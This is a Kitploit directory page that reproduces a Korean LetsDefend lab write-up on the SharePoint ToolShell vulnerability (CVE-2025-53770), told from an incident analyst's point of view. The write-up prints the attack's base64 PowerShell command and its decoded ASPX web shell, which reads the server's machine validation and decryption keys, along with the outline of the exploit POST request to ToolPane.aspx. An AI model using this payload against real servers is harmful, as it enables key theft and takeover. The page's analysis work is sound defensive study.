Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend — LetsDefend 랩에서 CVE-2025-53770 (ToolShell)을 익스플로잇하는 단계별 가이드로, RCE, 웹 셸 배포, 침해 대응 분석을 다룹니다. | Kitploit
도구/GitHubGitHub/cyprianatsyor/toolshell-cve-2025-53770-sharepoint-exploit-lab-letsdefend
Vulnerability AnalysisExploitationWeb Application ExploitationMalware AnalysisDigital ForensicsCTFPenetration TestingCommand and ControlLearning & Education
Incident Response
Payload Development
Labs & Practice
GitHubcyprianatsyor/toolshell-cve-2025-53770-sharepoint-exploit-lab-letsdefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

LetsDefend 랩에서 CVE-2025-53770 (ToolShell)을 익스플로잇하는 단계별 가이드로, RCE, 웹 셸 배포, 침해 대응 분석을 다룹니다.

저장소 보기
181년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

TL;DR 야, 이 LetsDefend 랩에서는 ToolShell(CVE-2025-53770)이라는 SharePoint 제로데이를 파고들었어. 기본적으로 악성 POST 요청이 인증을 우회하고, PowerShell을 실행하여 MachineKeySection 키를 탈취하고, payload.exe를 컴파일한 후 웹 셸(spinstall0.aspx)을 드롭하는 실제 공격을 모방했지. 모든 것을 기록하고, 행동을 분석하고, 호스트를 격리했어. 이 README는 공격, 내 단계, 그리고 얻은 교훈을 다루고 있어.


랩 개요

  • 플랫폼: LetsDefend Cyber Range
  • 대상: SharePoint 서버 (SharePoint01)
  • CVE: CVE-2025-53770
  • 목표: RCE 분석, 탐지 및 대응 실습

사용된 도구:

Windows PowerShell

VirusTotal

AbuseIPDB

LetsDefend 로그 관리

LetsDefend 엔드포인트 보안

LetsDefend 위협 인텔리전스


Alert Image Detail

Alert Image Detail

EventID : 320

Event Time : 2025년 7월 22일 오후 01:07

Rule : SOC342 - CVE‑2025‑53770 SharePoint ToolShell 인증 우회 및 RCE

Level : 보안 분석가

Hostname : SharePoint01

Source IP Address : 107.191.58.76

Destination IP Address : 172.16.20.17

HTTP 요청 방식 : POST

요청 URL : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

Referer : /_layouts/SignOut.aspx

Content-Length : 7699

경보 발생 이유 : 대량 페이로드와 위조된 referer를 동반한 ToolPane.aspx 대상의 의심스러운 인증되지 않은 POST 요청으로, CVE-2025-53770 악용을 암시함.

장치 조치 : 허용됨


개요 2025년 7월 22일, 보안 모니터링 시스템이 SharePoint01이라는 온프레미스 SharePoint 서버 인스턴스를 대상으로 하는 치명적인 제로데이 공격을 탐지했습니다.

CVE 세부 정보:

  • CVE ID: CVE-2025-53770
  • 심각도: 치명적 (CVSS 9.8)
  • 익스플로잇 유형: 역직렬화 취약점을 통한 원격 코드 실행(RCE)
  • 공개일: 2025년 7월 19일 (대중에 알려짐)
  • 패치 출시일: 2025년 7월 20일–21일

CISA KEV 카탈로그: 2025년 7월 20일 항목 게시됨

공격 벡터: /ToolPane.aspx 엔드포인트로의 POST 요청, 위조된 referer 헤더, 대량의 악성 페이로드

출처: IP 107.191.58.76, Vultr Holdings, LLC, 미국


SharePoint에 관하여 Microsoft SharePoint는 기업 협업 및 문서 관리의 중추입니다. 기본적으로 파일, 워크플로, 내부 앱을 위한 안전하고 체계적인 클라우드 같은 공간입니다.

핵심 용도:

문서 관리: 버전 관리, 감사 추적, 파일 제어

협업: 여러 사용자가 동시에 동일한 문서 편집

내부 웹 포털: 뉴스, 업데이트, 인사 정보, 정책

자동화된 워크플로: 승인, 양식, 알림

통합: Teams, Outlook, Office 제품군, Power BI와 긴밀하게 연결됨

보안 고려 사항:

인증: AD 또는 SSO

암호화: 저장 데이터 및 전송 데이터

웹 파트 및 레이아웃: 잘못 구성될 경우 악용 가능

패치 관리: 제로데이 공격 방지를 위해 중요


CVE-2025-53770이란?---

CVE-2025-53770 (ToolShell이라고도 함)은 실제 환경에서 악용된 SharePoint 제로데이입니다. 이는 온프레미스 Microsoft SharePoint 서버에서 인증되지 않은 원격 코드 실행(RCE)을 허용하는 치명적인 역직렬화 취약점입니다. 다른 SharePoint 결함(CVE-2025-49704 및 CVE-2025-49706)과 연계되어 시스템을 완전히 손상시킵니다. CVSS 점수는 9.8로, 치명적임을 의미합니다.

공격자들은 무엇을 하고 있나요?---

위조된 referer 헤더를 사용하여 ToolPane.aspx 엔드포인트를 통해 spinstall0.aspx와 같은 악성 웹 셸을 업로드하여 인증을 우회합니다.

SharePoint 구성에서 중요한 MachineKey 값을 추출하여 지속적인 액세스를 위한 신뢰할 수 있는 ViewState 페이로드를 생성합니다.

그리고 나중에 랜섬웨어(예: "Warlock" 변종)를 배포하거나 자격 증명을 유출하고 백도어를 설정합니다.

최초 공개: 2025년 7월 19일 (Microsoft 블로그)

패치 출시: 2025년 7월 20일–21일

CISA KEV 카탈로그 등록: 2025년 7월 20일


공격 분석

발신자의 IP 주소(Source IP Address)를 VirusTotal에서 분석했습니다.

Source IP Address : 107.191.58.76

Result form VirusTotal

이것만으로도 IP가 악성임을 알 수 있었습니다.

이제 AbuseIPDB를 사용하여 IP의 위치를 검색해야 합니다.

AbuseIPDB

다음과 같은 결과를 얻었습니다.

ISP Vultr Holdings, LLC

Usage Type - 데이터 센터/웹 호스팅/트랜짓

ASN - AS20473

Hostname(s) - 107.191.58.76.vultrusercontent.com

Domain Name - vultr.com

Country - 미국

City - 캘리포니아주 로스앤젤레스

해킹, 무차별 대입, 웹 애플리케이션 공격, 포트 스캔, DNS 포이즈닝으로 알려진 IP


주니어 분석가로서 이 문제를 해결하는 방법 먼저 엔드포인트 보안에서 "SharePoint01"이라는 호스트를 검색했습니다.

Endpoint Security

호스트를 찾은 후 터미널 기록으로 이동하여 명령줄을 발견했습니다.

Command Line Code

명령에서 무슨 일이 벌어지고 있나요?

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" → 시스템 디렉토리에서 PowerShell을 직접 실행합니다.

-nop

→ 프로필 미사용 — 탐지나 간섭을 피하기 위해 PowerShell 프로필 스크립트를 무시합니다.

-w hidden

→ 숨겨진 창으로 실행되어 사용자가 볼 수 없습니다.

-e

이걸 디코딩해 봅시다.

"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="

1단계: 정찰 및 페이로드 캡처

/ToolPane.aspx로의 POST 요청 캡처: POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE

방법: 인증을 우회하는 /ToolPane.aspx로의 POST 요청

페이로드: 대량의 난독화된 Base64 인코딩 PowerShell 스크립트

Referer 헤더: 출처를 숨기기 위해 위조됨

2단계: 실행 및 악용:

Base64 디코더에서 스크립트/페이로드를 디코딩했습니다.

base64로 디코딩하여 다음을 얻었습니다.

"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">

&nbsp;   public void Page\_load()

&nbsp;   {

&nbsp;		var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");

&nbsp;       var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");

&nbsp;       var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);

&nbsp;       var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);

&nbsp;       Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);

&nbsp;   } 

Decoded the Command

위 스크립트가 무엇을 하는지 설명하겠습니다.

임포트:

-System.Diagnostics

-System.IO

⦁ 그런 다음 PowerShell 내에서 C# 인라인 스크립트를 실행합니다:

도구 다운로드